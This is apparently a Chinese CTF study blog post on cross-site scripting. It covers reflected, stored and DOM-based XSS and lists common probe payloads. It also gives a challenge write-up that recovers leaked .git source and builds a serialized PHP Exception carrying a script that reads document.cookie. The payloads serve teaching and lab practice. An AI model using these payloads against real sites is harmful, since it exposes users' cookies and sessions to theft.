MENU

XSS跨站脚本攻击

November 3, 2020 • Read: 478 • CTF阅读设置

简介

XSS根源就是没完全过滤客户端提交的数据,客户端提交的数据本来是应用需要的,但恶意攻击者可能在提交的数据中插入一些符号以及javascript代码,使得这些数据成为应用代码的一部分。

sql注入拼接的是操作数据库的sql语句。xss拼接的是网页的html代码。拼接合适的html代码去执行恶意的js语句。

例如原有一个textbox的代码为

<input type="text" name="address1" value="value1from">

如果用户输入

"/><script>alert(document.cookie)</script><!-

则执行代码变为

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

如果用户输入"onfocus="alert(document.cookie)代码所触发的事件也会有改变也会被改变。所以XSS攻击的威力取决于用户输入什么样的脚本。

反射型XSS

提交数据 实现xss 但只对这次访问产生影响,并持久性攻击。

存储型XSS

提交数据 实现xss 并且存进了数据库,别人访问这个页面就会自动触发

DOM型XSS

DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。从效果上来说 它也是反射型XSS。

如何检测是否存在XSS

发送语句给服务器,如果服务器没有进行过滤,服务器则会返回给客户端,则服务器存在XSS漏洞。判断XSS漏洞即主要看服务其端给客户端的响应。

常见的发送位置:留言板、评论、搜索

XSS检测总结

常用XSS检测
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

各种绕过参考链接。

参考链接

https://www.cnblogs.com/applelife/p/10477583.html#_label8

https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe3

https://blog.csdn.net/qw_xingzhe/article/details/80712840

https://www.cnblogs.com/ricardojxu/p/12856312.html

https://www.jb51.net/article/90536.htm

XSS题型训练平台

http://test.ctf8.com/

例题:[BJDCTF 2nd]xss之光

判断是否存在git泄露

1.构造URL/.git/config 存在可下载文件 发现存在git泄露

2.使用 dirsearch、御剑等工具扫描后台

发现存在git泄露

通过Githack获取泄露的源代码

通过python Githack.py <url>/.git/命令获取到index.php文件 需要python2版本

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
反序列化

仅看到是一个反序列化,但是不知道类,则可以用php的内置类进行反序列化构造,可以用Error类或者Expection类来进行反序列化

<?php
$b = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($b));
?>

得到结果后构造url访问

http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?yds_is_so_beautiful=<结果>

发现flag存在于cooike中

也可以通过bp传入反序列化后的结果得到flag

参考链接
https://blog.csdn.net/qq_45521281/article/details/105812056
Last Modified: November 9, 2021